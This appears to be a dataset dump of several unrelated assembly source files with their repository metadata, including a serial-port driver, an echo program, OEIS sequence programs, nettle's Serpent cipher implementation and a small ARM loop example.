.byte $0C cmp $4C0C,x brk brk brk brk brk brk sta $0D0A stx $0D0B sta $0D11 stx $0D12 LFFDF: dey lda LFFFF,y sta $0D1B dey lda LFFFF,y sta $0D1A sty $0D1D .byte $20 LFFF1: .byte $FF .byte $FF ldy #$FF LFFF5: bne LFFDF rts brk brk and a:$0B brk brk LFFFF: brk
18.13
33
0.313455
b3269965f91d1533715f992a8b342ab01ad114eb
4,470
asm
Assembly
TurtleTools/Examples/echo.asm
foxostro/TurtleTTL
7d2163b11b91ae04ad69d38c0354194b9c306ed0
[ "MIT" ]
1
2021-08-18T22:30:11.000Z
2021-08-18T22:30:11.000Z
TurtleTools/Examples/old/echo.asm
foxostro/Turtle16
67e6d2afa02f2bc07711f8e8d756e5b891ea8df5
[ "MIT" ]
null
null
null
TurtleTools/Examples/old/echo.asm
foxostro/Turtle16
67e6d2afa02f2bc07711f8e8d756e5b891ea8df5
[ "MIT" ]
null
null
null
let kSerialInterface = 7 let kDataPort = 1 let kControlPort = 0 let kResetCommand = 0 let kPutCommand = 1 let kGetCommand = 2 let kGetNumberOfBytesCommand = 3 LI A, 0 LI B, 0 LI D, kSerialInterface LI X, 0 LI Y, 0 LI U, 0 LI V, 0 LXY serial_init JALR NOP NOP LI A, 'r' LXY serial_put JALR NOP NOP LI A, 'e' LXY serial_put JALR NOP NOP LI A, 'a' LXY serial_put JALR NOP NOP LI A, 'd' LXY serial_put JALR NOP NOP LI A, 'y' LXY serial_put JALR NOP NOP LI A, '.' LXY serial_put JALR NOP NOP LI A, 10 LXY serial_put JALR NOP NOP # Now, we enter a loop where we wait for serial input and then echo it to # serial output. beginningOfInputLoop: waitForInput: LXY serial_get_number_available_bytes JALR NOP NOP LI B, 0 CMP CMP LXY waitForInput JE NOP NOP # Read a byte and echo it back. LXY serial_get JALR # The return value is in "A". NOP NOP LXY serial_put # The parameter is in "A". JALR NOP NOP LXY beginningOfInputLoop JMP NOP NOP HLT # unreachable serial_init: # Preserve the value of the link register by # storing return address at address 10 and 11. LI U, 0 LI V, 10 MOV M, G LI V, 11 MOV M, H LI D, kSerialInterface LI Y, kDataPort LI P, kResetCommand LI Y, kControlPort LI P, 0 # Lower SCK LI P, 1 # Raise SCK LXY delay JALR NOP NOP LI Y, kDataPort MOV A, P # Store the status in A LI Y, kControlPort LI P, 0 # Lower SCK LXY delay JALR NOP NOP # Retrieve the return address from memory at address 10 and 11, # and then return from the call. LI U, 0 LI V, 10 MOV X, M LI V, 11 MOV Y, M JMP NOP NOP serial_put: # Preserve the value of the link register by # storing return address at address 10 and 11. LI U, 0 LI V, 10 MOV M, G LI V, 11 MOV M, H # The A register contains the character to output. # Copy it into memory at address 5. LI U, 0 LI V, 5 MOV M, A LI D, 7 # The Serial Interface device LI Y, kDataPort LI P, kPutCommand LI Y, kControlPort LI P, 1 # Raise SCK LXY delay JALR NOP NOP LI Y, kControlPort LI P, 0 # Lower SCK LXY delay JALR NOP NOP LI Y, kDataPort LI U, 0 LI V, 5 MOV P, M # Retrieve the byte from address 5 and pass it to the serial device. LI Y, kControlPort LI P, 1 # Raise SCK LXY delay JALR NOP NOP LI Y, kControlPort LI P, 0 # Lower SCK LXY delay JALR NOP NOP # Retrieve the return address from memory at address 10 and 11, # and then return from the call. LI U, 0 LI V, 10 MOV X, M LI V, 11 MOV Y, M JMP NOP NOP serial_get: # Preserve the value of the link register by # storing return address at address 10 and 11. LI U, 0 LI V, 10 MOV M, G LI V, 11 MOV M, H LI Y, kDataPort LI P, kGetCommand LI Y, kControlPort LI P, 1 # Raise SCK LXY delay JALR NOP NOP LI U, 0 LI V, 5 MOV M, P # Store the input byte in memory at address 5. LI Y, kControlPort LI P, 0 # Lower SCK LXY delay JALR NOP NOP # Set the return value in "A". LI U, 0 LI V, 5 MOV A, M # Retrieve the return address from memory at address 10 and 11, # and then return from the call. LI U, 0 LI V, 10 MOV X, M LI V, 11 MOV Y, M JMP NOP NOP serial_get_number_available_bytes: # Preserve the value of the link register by # storing return address at address 10 and 11. LI U, 0 LI V, 10 MOV M, G LI V, 11 MOV M, H LI D, kSerialInterface LI Y, kDataPort LI P, kGetNumberOfBytesCommand LI Y, kControlPort LI P, 1 # Raise SCK LXY delay JALR NOP NOP LI U, 0 LI V, 5 MOV M, P # Store the number of available bytes in memory at address 5. LI Y, kControlPort LI P, 0 # Lower SCK LXY delay JALR NOP NOP # Set the return value in "A". LI U, 0 LI V, 5 MOV A, M # Retrieve the return address from memory at address 10 and 11, # and then return from the call. LI U, 0 LI V, 10 MOV X, M LI V, 11 MOV Y, M JMP NOP NOP delay256: LI A, 0 delay256_0: # Increment A by 1. If the value is not equal to 255 then loop. LI B, 1 ADD _ ADD A LI B, 255 CMP CMP LXY delay256_0 JNE NOP NOP MOV X, G MOV Y, H JMP NOP NOP delay: # Preserve the value of the link register by # storing return address at address 0 and 1. LI U, 0 LI V, 0 MOV M, G LI V, 1 MOV M, H LI A, 0 delay_0: # Call delay256, making sure to preserve "A" in memory at address 2. LI U, 0 LI V, 2 MOV M, A LXY delay256 JALR NOP NOP MOV A, M # Increment A by 1. If the value is not equal to 1 then loop. # Adjust the upper limit of the loop according to the CPU speed. LI B, 1 ADD _ ADD A LI B, 1 CMP CMP LXY delay_0 JNE NOP NOP # Retrieve the return address from memory at address 0 and 1, # and then return from the call. LI U, 0 LI V, 0 MOV X, M LI V, 1 MOV Y, M JMP NOP NOP
11.732283
77
0.707159
1890dc0f064cf00c3730b3d0a9ef6246f1f4a99c
2,747
asm
Assembly
src/serial.asm
ando23/sysa
b94a821f95b2a8ab9725ed81a19004470dff9b64
[ "MIT" ]
null
null
null
src/serial.asm
ando23/sysa
b94a821f95b2a8ab9725ed81a19004470dff9b64
[ "MIT" ]
null
null
null
src/serial.asm
ando23/sysa
b94a821f95b2a8ab9725ed81a19004470dff9b64
[ "MIT" ]
null
null
null
; Copyright 2022 Andreas Herzig ; Licence: MIT COM1 equ 0x3F8 COM2 equ 0x2F8 COM3 equ 0x3E8 COM4 equ 0x2E8 PORT equ 0x3F8 init_kcom: OUTB (PORT + 1), 0x00 ; Disable all interrupts OUTB (PORT + 3), 0x80 ; Enable DLAB (set baud rate divisor) OUTB (PORT + 0), 0x03 ; Set divisor to 3 (lo byte) 38400 baud OUTB (PORT + 1), 0x00 ; (hi byte) OUTB (PORT + 3), 0x03 ; 8 bits, no parity, one stop bit OUTB (PORT + 2), 0xC7 ; Enable FIFO, clear them, with 14-byte threshold OUTB (PORT + 4), 0x0B ; IRQs enabled, RTS/DSR set OUTB (PORT + 4), 0x1E ; Set in loopback mode, test the serial chip OUTB (PORT + 0), 0xAE ; Test serial chip (send byte 0xAE and check if serial returns same byte) ; Check if serial is faulty (i.e: not same byte as sent) INB (PORT), al cmp al, 0xAE je .step2 ;FIXME Log error ret .step2: ; If serial is not faulty set it in normal operation mode ; (not-loopback with IRQs enabled and OUT#1 and OUT#2 bits enabled) OUTB PORT + 4, 0x0F ret kputc: push eax .is_busy: ; Prüfe ob bereit INB PORT+5, al and al, 0x20 jz .is_busy pop eax OUTB PORT, al ret kputs: push edi mov edi, eax call color_on .loop: mov al, [edi] cmp al,0 je .end call kputc inc edi jmp .loop .end: call color_off pop edi ret ; Newline ausgeben ; input: none ; output: none ; clobbers: none kputnl: push eax mov al, 10 call kputc pop eax ret color_on: push edx push eax OUTB PORT, 0x1b OUTB PORT, '[' OUTB PORT, '3' OUTB PORT, '6' OUTB PORT, 'm' pop eax pop edx ret color_off: push edx push eax OUTB PORT, 0x1b OUTB PORT, '[' OUTB PORT, '0' OUTB PORT, 'm' pop eax pop edx ret ; input al ; clobbers al kputhexc: cmp al,10 jl .p sub al, 10 add al, 'A' call kputc ret .p: add al, '0' call kputc ret ; Hexdump of memory ; input: edi Adresse ; input: ecx Anzahl ; output: none ; clobbers: none kputhd: push eax push ecx push edi .loop: mov bl, [edi] mov al, bl and al, 0xf call kputhexc rol bl,4 mov al, bl and al, 0xf call kputhexc mov al, 32 call kputc inc edi dec ecx jnz .loop pop edi pop ecx pop eax ret ; Wert als Hex ausgeben ; input: eax 32-Bit-Wert ; output: none ; clobbers: none kputl: push eax push ebx push eax mov al, '0' call kputc mov al, 'x' call kputc pop ebx rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc rol ebx,4 mov al, bl and al, 0xf call kputhexc pop ebx pop eax ret
13.53202
96
0.657444
87cd92e0ecba1766f76390d8510c27199ca2937d
699
asm
Assembly
oeis/015/A015190.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/015/A015190.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/015/A015190.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A015190: Sum of (Gaussian) q-binomial coefficients for q=-21. ; Submitted by Christian Krause ; 1,2,-18,844,168404,164477928,-687450157352,14105258809884656,1238186812120404030096,533503696576292562518040352,-983466011800819442632186373851168,8898776193390263176983910297292084624064,344486034279370826947785936357382453706497263424,65457863429984645622942574619498236672339982836746631808,-53213576682138499166192980542553083254773378192206636420925894272,212340067814370768978934540926290244500766884564433161531837515662784304896 mov $1,$0 mov $0,0 add $1,1 mov $2,1 mov $3,1 lpb $1 sub $1,1 mov $4,$2 mul $2,-20 sub $2,$4 mul $4,$3 add $0,$4 sub $3,$4 add $3,$0 lpe mov $0,$3
33.285714
438
0.812589
8f2894630d1e5489c5deac56f4ef3473fb3a5655
12,101
asm
Assembly
src/C/nettle/nettle-2.7.1/serpent-encrypt.asm
GaloisInc/hacrypto
5c99d7ac73360e9b05452ac9380c1c7dc6784849
[ "BSD-3-Clause" ]
34
2015-02-04T18:03:14.000Z
2020-11-10T06:45:28.000Z
src/C/nettle/nettle-2.7.1/serpent-encrypt.asm
GaloisInc/hacrypto
5c99d7ac73360e9b05452ac9380c1c7dc6784849
[ "BSD-3-Clause" ]
5
2015-06-30T21:17:00.000Z
2016-06-14T22:31:51.000Z
src/C/nettle/nettle-2.7.1/serpent-encrypt.asm
GaloisInc/hacrypto
5c99d7ac73360e9b05452ac9380c1c7dc6784849
[ "BSD-3-Clause" ]
15
2015-10-29T14:21:58.000Z
2022-01-19T07:33:14.000Z
C nettle, low-level cryptographics library C C Copyright (C) 2011 Niels Möller C C The nettle library is free software; you can redistribute it and/or modify C it under the terms of the GNU Lesser General Public License as published by C the Free Software Foundation; either version 2.1 of the License, or (at your C option) any later version. C C The nettle library is distributed in the hope that it will be useful, but C WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY C or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public C License for more details. C C You should have received a copy of the GNU Lesser General Public License C along with the nettle library; see the file COPYING.LIB. If not, write to C the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, C MA 02111-1301, USA. include_src(<x86_64/serpent.m4>) C Register usage: C Single block serpent state, two copies define(<x0>, <%eax>) define(<x1>, <%ebx>) define(<x2>, <%ebp>) define(<x3>, <%r8d>) define(<y0>, <%r9d>) define(<y1>, <%r10d>) define(<y2>, <%r11d>) define(<y3>, <%r12d>) C Quadruple block serpent state, two copies define(<X0>, <%xmm0>) define(<X1>, <%xmm1>) define(<X2>, <%xmm2>) define(<X3>, <%xmm3>) define(<Y0>, <%xmm4>) define(<Y1>, <%xmm5>) define(<Y2>, <%xmm6>) define(<Y3>, <%xmm7>) define(<MINUS1>, <%xmm8>) define(<T0>, <%xmm9>) define(<T1>, <%xmm10>) define(<T2>, <%xmm11>) define(<T3>, <%xmm12>) C Arguments define(<CTX>, <%rdi>) define(<N>, <%rsi>) define(<DST>, <%rdx>) define(<SRC>, <%rcx>) define(<CNT>, <%r13>) define(<TMP32>, <%r14d>) C SBOX macros. Inputs $1 - $4 (destroyed), outputs $5 - $8 define(<SBOX0>, < mov $2, $8 C y3 = x1 ^ x2 xor $3, $8 mov $1, $5 C y0 = x0 | x3 or $4, $5 mov $1, $6 C y1 = x0 ^ x1 xor $2, $6 xor $5, $8 C y3 ^= y0 mov $3, $7 C y2 = x2 | y3 or $8, $7 xor $4, $1 C x0 ^= x3 and $4, $7 C y2 &= x3 xor $3, $4 C x3 ^= x2 or $2, $3 C x2 |= x1 mov $6, $5 C y0 = y1 & x2 and $3, $5 xor $5, $7 C y2 ^= y0 and $7, $5 C y0 &= y2 xor $3, $5 C y0 ^= x2 and $1, $2 C x1 &= x0 xor $1, $5 C y0 ^= x0 not $5 C y0 = ~y0 mov $5, $6 C y1 = y0 ^ x1 xor $2, $6 xor $4, $6 C y1 ^= x3 >) define(<SBOX1>, < mov $1, $6 C y1 = x0 | x3 or $4, $6 mov $3, $7 C y2 = x2 ^ x3 xor $4, $7 mov $2, $5 C y0 = ~x1 not $5 mov $1, $8 C y3 = x0 ^ x2 xor $3, $8 or $1, $5 C y0 |= x0 and $4, $8 C y3 &= x3 mov $6, $1 C x0 = y1 & y2 and $7, $1 or $2, $8 C y3 |= x1 xor $5, $7 C y2 ^= y0 xor $1, $8 C y3 ^= x0 mov $6, $1 C x0 = y1 ^ y3 xor $8, $1 xor $7, $1 C x0 ^= y2 mov $2, $6 C y1 = x1 & x3 and $4, $6 xor $1, $6 C y1 ^= x0 mov $6, $4 C x3 = y1 | y3 or $8, $4 not $8 C y3 = ~y3 and $4, $5 C y0 &= x3 xor $3, $5 C y0 ^= x2 >) define(<SBOX2>, < mov $1, $7 C y2 = x1 | x2 or $3, $7 mov $1, $6 xor $2, $6 mov $4, $8 xor $7, $8 mov $6, $5 xor $8, $5 or $1, $4 xor $5, $3 mov $2, $1 xor $3, $1 or $2, $3 and $7, $1 xor $3, $8 or $8, $6 xor $1, $6 mov $8, $7 xor $6, $7 xor $2, $7 not $8 xor $4, $7 >) define(<SBOX3>, < mov $1, $6 xor $3, $6 mov $1, $5 or $4, $5 mov $1, $8 and $4, $8 and $5, $6 or $2, $8 mov $1, $7 and $2, $7 or $3, $7 mov $4, $3 xor $6, $3 xor $8, $6 or $3, $1 xor $2, $3 and $4, $8 xor $8, $5 mov $7, $8 xor $3, $8 xor $5, $7 or $8, $4 and $4, $2 mov $1, $5 xor $2, $5 >) define(<SBOX4>, < mov $1, $8 or $2, $8 mov $2, $7 or $3, $7 xor $1, $7 and $4, $8 mov $2, $5 xor $4, $5 or $7, $4 and $4, $1 and $3, $2 xor $8, $3 xor $7, $8 or $2, $7 mov $8, $6 and $5, $6 xor $6, $7 xor $5, $6 or $2, $6 xor $1, $6 and $4, $5 xor $3, $5 not $5 >) define(<SBOX5>, < mov $2, $5 or $4, $5 xor $3, $5 mov $2, $3 xor $4, $3 mov $1, $7 xor $3, $7 and $3, $1 xor $1, $5 mov $2, $8 or $7, $8 or $5, $2 not $5 or $5, $1 xor $3, $8 xor $1, $8 mov $4, $6 or $5, $6 xor $6, $4 xor $7, $6 or $4, $7 xor $2, $7 >) define(<SBOX6>, < mov $1, $5 xor $4, $5 mov $1, $6 and $4, $6 mov $1, $7 or $3, $7 or $2, $4 xor $3, $4 xor $2, $1 mov $2, $8 or $3, $8 xor $2, $3 and $5, $8 xor $3, $6 not $6 and $6, $5 and $6, $2 xor $8, $2 xor $4, $8 xor $2, $7 not $7 xor $7, $5 xor $1, $5 >) define(<SBOX7>, < mov $1, $5 and $3, $5 mov $2, $8 or $5, $8 C t04 xor $3, $8 mov $4, $6 not $6 C t02 and $1, $6 xor $6, $8 mov $3, $6 or $8, $6 xor $1, $6 mov $1, $7 and $2, $7 xor $7, $3 or $4, $7 xor $7, $6 mov $2, $7 or $5, $7 C t04 and $8, $7 xor $6, $2 or $2, $7 xor $1, $7 xor $6, $5 not $4 C t02 or $4, $5 xor $3, $5 >) define(<LT>, < rol <$>13, $1 rol <$>3, $3 xor $1, $2 xor $3, $2 mov $1, TMP32 shl <$>3, TMP32 xor $3, $4 xor TMP32, $4 rol $2 rol <$>7, $4 xor $2, $1 xor $4, $1 mov $2, TMP32 shl <$>7, TMP32 xor $4, $3 xor TMP32, $3 rol <$>5, $1 rol <$>22, $3 >) C Parallel operation on four blocks at a time. C pnot instruction is missing. For lack of a spare register, XOR with C constant in memory. define(<PNOT>, < pxor MINUS1, $1 >) define(<WSBOX0>, < movdqa $2, $8 C y3 = x1 ^ x2 pxor $3, $8 movdqa $1, $5 C y0 = x0 | x3 por $4, $5 movdqa $1, $6 C y1 = x0 ^ x1 pxor $2, $6 pxor $5, $8 C y3 ^= y0 movdqa $3, $7 C y2 = x2 | y3 por $8, $7 pxor $4, $1 C x0 ^= x3 pand $4, $7 C y2 &= x3 pxor $3, $4 C x3 ^= x2 por $2, $3 C x2 |= x1 movdqa $6, $5 C y0 = y1 & x2 pand $3, $5 pxor $5, $7 C y2 ^= y0 pand $7, $5 C y0 &= y2 pxor $3, $5 C y0 ^= x2 pand $1, $2 C x1 &= x0 pxor $1, $5 C y0 ^= x0 PNOT($5) C y0 = ~y0 movdqa $5, $6 C y1 = y0 ^ x1 pxor $2, $6 pxor $4, $6 C y1 ^= x3 >) define(<WSBOX1>, < movdqa $1, $6 C y1 = x0 | x3 por $4, $6 movdqa $3, $7 C y2 = x2 ^ x3 pxor $4, $7 movdqa $2, $5 C y0 = ~x1 PNOT($5) movdqa $1, $8 C y3 = x0 ^ x2 pxor $3, $8 por $1, $5 C y0 |= x0 pand $4, $8 C y3 &= x3 movdqa $6, $1 C x0 = y1 & y2 pand $7, $1 por $2, $8 C y3 |= x1 pxor $5, $7 C y2 ^= y0 pxor $1, $8 C y3 ^= x0 movdqa $6, $1 C x0 = y1 ^ y3 pxor $8, $1 pxor $7, $1 C x0 ^= y2 movdqa $2, $6 C y1 = x1 & x3 pand $4, $6 pxor $1, $6 C y1 ^= x0 movdqa $6, $4 C x3 = y1 | y3 por $8, $4 PNOT($8) C y3 = ~y3 pand $4, $5 C y0 &= x3 pxor $3, $5 C y0 ^= x2 >) define(<WSBOX2>, < movdqa $1, $7 C y2 = x1 | x2 por $3, $7 movdqa $1, $6 pxor $2, $6 movdqa $4, $8 pxor $7, $8 movdqa $6, $5 pxor $8, $5 por $1, $4 pxor $5, $3 movdqa $2, $1 pxor $3, $1 por $2, $3 pand $7, $1 pxor $3, $8 por $8, $6 pxor $1, $6 movdqa $8, $7 pxor $6, $7 pxor $2, $7 PNOT($8) pxor $4, $7 >) define(<WSBOX3>, < movdqa $1, $6 pxor $3, $6 movdqa $1, $5 por $4, $5 movdqa $1, $8 pand $4, $8 pand $5, $6 por $2, $8 movdqa $1, $7 pand $2, $7 por $3, $7 movdqa $4, $3 pxor $6, $3 pxor $8, $6 por $3, $1 pxor $2, $3 pand $4, $8 pxor $8, $5 movdqa $7, $8 pxor $3, $8 pxor $5, $7 por $8, $4 pand $4, $2 movdqa $1, $5 pxor $2, $5 >) define(<WSBOX4>, < movdqa $1, $8 por $2, $8 movdqa $2, $7 por $3, $7 pxor $1, $7 pand $4, $8 movdqa $2, $5 pxor $4, $5 por $7, $4 pand $4, $1 pand $3, $2 pxor $8, $3 pxor $7, $8 por $2, $7 movdqa $8, $6 pand $5, $6 pxor $6, $7 pxor $5, $6 por $2, $6 pxor $1, $6 pand $4, $5 pxor $3, $5 PNOT($5) >) define(<WSBOX5>, < movdqa $2, $5 por $4, $5 pxor $3, $5 movdqa $2, $3 pxor $4, $3 movdqa $1, $7 pxor $3, $7 pand $3, $1 pxor $1, $5 movdqa $2, $8 por $7, $8 por $5, $2 PNOT($5) por $5, $1 pxor $3, $8 pxor $1, $8 movdqa $4, $6 por $5, $6 pxor $6, $4 pxor $7, $6 por $4, $7 pxor $2, $7 >) define(<WSBOX6>, < movdqa $1, $5 pxor $4, $5 movdqa $1, $6 pand $4, $6 movdqa $1, $7 por $3, $7 por $2, $4 pxor $3, $4 pxor $2, $1 movdqa $2, $8 por $3, $8 pxor $2, $3 pand $5, $8 pxor $3, $6 PNOT($6) pand $6, $5 pand $6, $2 pxor $8, $2 pxor $4, $8 pxor $2, $7 PNOT($7) pxor $7, $5 pxor $1, $5 >) define(<WSBOX7>, < movdqa $1, $5 pand $3, $5 movdqa $2, $8 por $5, $8 C t04 pxor $3, $8 movdqa $4, $6 pandn $1, $6 C t02 implicit pxor $6, $8 movdqa $3, $6 por $8, $6 pxor $1, $6 movdqa $1, $7 pand $2, $7 pxor $7, $3 por $4, $7 pxor $7, $6 movdqa $2, $7 por $5, $7 C t04 pand $8, $7 pxor $6, $2 por $2, $7 pxor $1, $7 pxor $6, $5 PNOT($4) C t02 por $4, $5 pxor $3, $5 >) C WLT(x0, x1, x2, x3) define(<WLT>, < WROL(13, $1) WROL(3, $3) pxor $1, $2 pxor $3, $2 movdqa $1, T0 pslld <$>3, T0 pxor $3, $4 pxor T0, $4 WROL(1, $2) WROL(7, $4) pxor $2, $1 pxor $4, $1 movdqa $2, T0 pslld <$>7, T0 pxor $4, $3 pxor T0, $3 WROL(5, $1) WROL(22, $3) >) .file "serpent-encrypt.asm" C serpent_encrypt(struct serpent_context *ctx, C unsigned length, uint8_t *dst, C const uint8_t *src) .text ALIGN(16) PROLOGUE(nettle_serpent_encrypt) C save all registers that need to be saved W64_ENTRY(4, 13) push %rbx push %rbp push %r12 push %r13 push %r14 lea (SRC, N), SRC lea (DST, N), DST neg N jz .Lend C Point at the final subkey. lea 512(CTX), CTX cmp $-64, N ja .Lblock_loop pcmpeqd MINUS1, MINUS1 .Lwblock_loop: movups (SRC, N), X0 movups 16(SRC, N), X1 movups 32(SRC, N), X2 movups 48(SRC, N), X3 WTRANSPOSE(X0, X1, X2, X3) mov $-512, CNT jmp .Lwround_start ALIGN(16) .Lwround_loop: WLT(X0,X1,X2,X3) .Lwround_start: WKEYXOR(, X0,X1,X2,X3) WSBOX0(X0,X1,X2,X3, Y0,Y1,Y2,Y3) WLT(Y0,Y1,Y2,Y3) WKEYXOR(16, Y0,Y1,Y2,Y3) WSBOX1(Y0,Y1,Y2,Y3, X0,X1,X2,X3) WLT(X0,X1,X2,X3) WKEYXOR(32, X0,X1,X2,X3) WSBOX2(X0,X1,X2,X3, Y0,Y1,Y2,Y3) WLT(Y0,Y1,Y2,Y3) WKEYXOR(48, Y0,Y1,Y2,Y3) WSBOX3(Y0,Y1,Y2,Y3, X0,X1,X2,X3) WLT(X0,X1,X2,X3) WKEYXOR(64, X0,X1,X2,X3) WSBOX4(X0,X1,X2,X3, Y0,Y1,Y2,Y3) WLT(Y0,Y1,Y2,Y3) WKEYXOR(80, Y0,Y1,Y2,Y3) WSBOX5(Y0,Y1,Y2,Y3, X0,X1,X2,X3) WLT(X0,X1,X2,X3) WKEYXOR(96, X0,X1,X2,X3) WSBOX6(X0,X1,X2,X3, Y0,Y1,Y2,Y3) WLT(Y0,Y1,Y2,Y3) WKEYXOR(112, Y0,Y1,Y2,Y3) WSBOX7(Y0,Y1,Y2,Y3, X0,X1,X2,X3) add $128, CNT jnz .Lwround_loop C FIXME: CNT known to be zero, no index register needed WKEYXOR(, X0,X1,X2,X3) WTRANSPOSE(X0,X1,X2,X3) movups X0, (DST, N) movups X1, 16(DST, N) movups X2, 32(DST, N) movups X3, 48(DST, N) C FIXME: Adjust N, so we can use just jnc without an extra cmp. add $64, N jz .Lend cmp $-64, N jbe .Lwblock_loop C The single-block loop here is slightly slower than the double-block C loop in serpent-encrypt.c. C FIXME: Should use non-sse2 code only if we have a single block left. C With two or three blocks, it should be better to do them in C parallell. .Lblock_loop: movl (SRC, N), x0 movl 4(SRC, N), x1 movl 8(SRC, N), x2 movl 12(SRC, N), x3 mov $-512, CNT jmp .Lround_start ALIGN(16) .Lround_loop: LT(x0,x1,x2,x3) .Lround_start: xor (CTX, CNT), x0 xor 4(CTX, CNT), x1 xor 8(CTX, CNT), x2 xor 12(CTX, CNT), x3 SBOX0(x0,x1,x2,x3, y0,y1,y2,y3) LT(y0,y1,y2,y3) xor 16(CTX, CNT), y0 xor 20(CTX, CNT), y1 xor 24(CTX, CNT), y2 xor 28(CTX, CNT), y3 SBOX1(y0,y1,y2,y3, x0,x1,x2,x3) LT(x0,x1,x2,x3) xor 32(CTX, CNT), x0 xor 36(CTX, CNT), x1 xor 40(CTX, CNT), x2 xor 44(CTX, CNT), x3 SBOX2(x0,x1,x2,x3, y0,y1,y2,y3) LT(y0,y1,y2,y3) xor 48(CTX, CNT), y0 xor 52(CTX, CNT), y1 xor 56(CTX, CNT), y2 xor 60(CTX, CNT), y3 SBOX3(y0,y1,y2,y3, x0,x1,x2,x3) LT(x0,x1,x2,x3) xor 64(CTX, CNT), x0 xor 68(CTX, CNT), x1 xor 72(CTX, CNT), x2 xor 76(CTX, CNT), x3 SBOX4(x0,x1,x2,x3, y0,y1,y2,y3) LT(y0,y1,y2,y3) xor 80(CTX, CNT), y0 xor 84(CTX, CNT), y1 xor 88(CTX, CNT), y2 xor 92(CTX, CNT), y3 SBOX5(y0,y1,y2,y3, x0,x1,x2,x3) LT(x0,x1,x2,x3) xor 96(CTX, CNT), x0 xor 100(CTX, CNT), x1 xor 104(CTX, CNT), x2 xor 108(CTX, CNT), x3 SBOX6(x0,x1,x2,x3, y0,y1,y2,y3) LT(y0,y1,y2,y3) xor 112(CTX, CNT), y0 xor 116(CTX, CNT), y1 xor 120(CTX, CNT), y2 xor 124(CTX, CNT), y3 SBOX7(y0,y1,y2,y3, x0,x1,x2,x3) add $128, CNT jnz .Lround_loop C Apply final subkey. xor (CTX, CNT), x0 xor 4(CTX, CNT), x1 xor 8(CTX, CNT), x2 xor 12(CTX, CNT), x3 movl x0, (DST, N) movl x1, 4(DST, N) movl x2, 8(DST, N) movl x3, 12(DST, N) add $16, N jnc .Lblock_loop .Lend: pop %r14 pop %r13 pop %r12 pop %rbp pop %rbx W64_EXIT(4, 13) ret
16.397019
78
0.543591
5757e4e43e6aafa8db7d67984ee9fffc94d650d6
732
asm
Assembly
daily_tasks/Day2/Assembly/ARM/sum.asm
abinashprabakar/Advanced-C
c68f3a0dd3c7f91aa792cb6270c92ba51ef19074
[ "MIT" ]
null
null
null
daily_tasks/Day2/Assembly/ARM/sum.asm
abinashprabakar/Advanced-C
c68f3a0dd3c7f91aa792cb6270c92ba51ef19074
[ "MIT" ]
null
null
null
daily_tasks/Day2/Assembly/ARM/sum.asm
abinashprabakar/Advanced-C
c68f3a0dd3c7f91aa792cb6270c92ba51ef19074
[ "MIT" ]
6
2021-09-06T01:20:47.000Z
2022-01-06T13:55:11.000Z
/* int i = 1; int j = 2; int sum = 0; for(i=j; i<5; i++) { if(i%2 == 0) { sum += i; } } The below ARM assembly code is equivalent of the above c code. */ .global _start _start: mov r0,#1; /*! r0 ---> i, i = 0 */ mov r1,#2; /*! j = 2 */ mov r3,#0; /*! sum = 0 */ mov r0,r1; /*! i = j */ loop: cmp r0,#5; /*! i < 5 */ beq complete /*! if i greater than 5 goto to end of the code */ mov r4,r0; /*! taking r4 as temp variable and moving r0 (i) value into r4 */ ands r4,#1 /*! checking r4 (i) even or not by checking the 0th bit */ addeq r3,r3,r0; /*! if even adding the r0 (i) value to the r3 (sum) */ add r0,r0,#1; /*! incrementing r0 (i) value */ b loop /*! goto loop */ complete:
17.023256
77
0.528689
bb016d022ccdd198fb9b2e579f5f0c5004d4f223
686
asm
Assembly
oeis/090/A090139.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/090/A090139.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/090/A090139.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A090139: a(n) = 10*a(n-1) - 20*a(n-2), a(0)=1,a(1)=5. ; Submitted by Jamie Morken(s3.) ; 1,5,30,200,1400,10000,72000,520000,3760000,27200000,196800000,1424000000,10304000000,74560000000,539520000000,3904000000000,28249600000000,204416000000000,1479168000000000,10703360000000000,77450240000000000,560435200000000000,4055347200000000000,29344768000000000000,212340736000000000000,1536512000000000000000,11118305280000000000000,80452812800000000000000,582162022400000000000000,4212563968000000000000000,30482399232000000000000000,220572712960000000000000000,1596079144960000000000000000 mov $1,-5 mov $2,1 lpb $0 sub $0,1 mul $2,2 add $1,$2 sub $2,$1 mul $1,10 lpe mov $0,$2
45.733333
497
0.816327
68cd45a8271deda657b08454ff6ed6d16ba5ab1d
10,565
asm
Assembly
exampl04/butntest/butntest.asm
AlexRogalskiy/Masm
d39498878f140696b299c76436f209156961429e
[ "MIT" ]
null
null
null
exampl04/butntest/butntest.asm
AlexRogalskiy/Masm
d39498878f140696b299c76436f209156961429e
[ "MIT" ]
null
null
null
exampl04/butntest/butntest.asm
AlexRogalskiy/Masm
d39498878f140696b299c76436f209156961429e
[ "MIT" ]
null
null
null
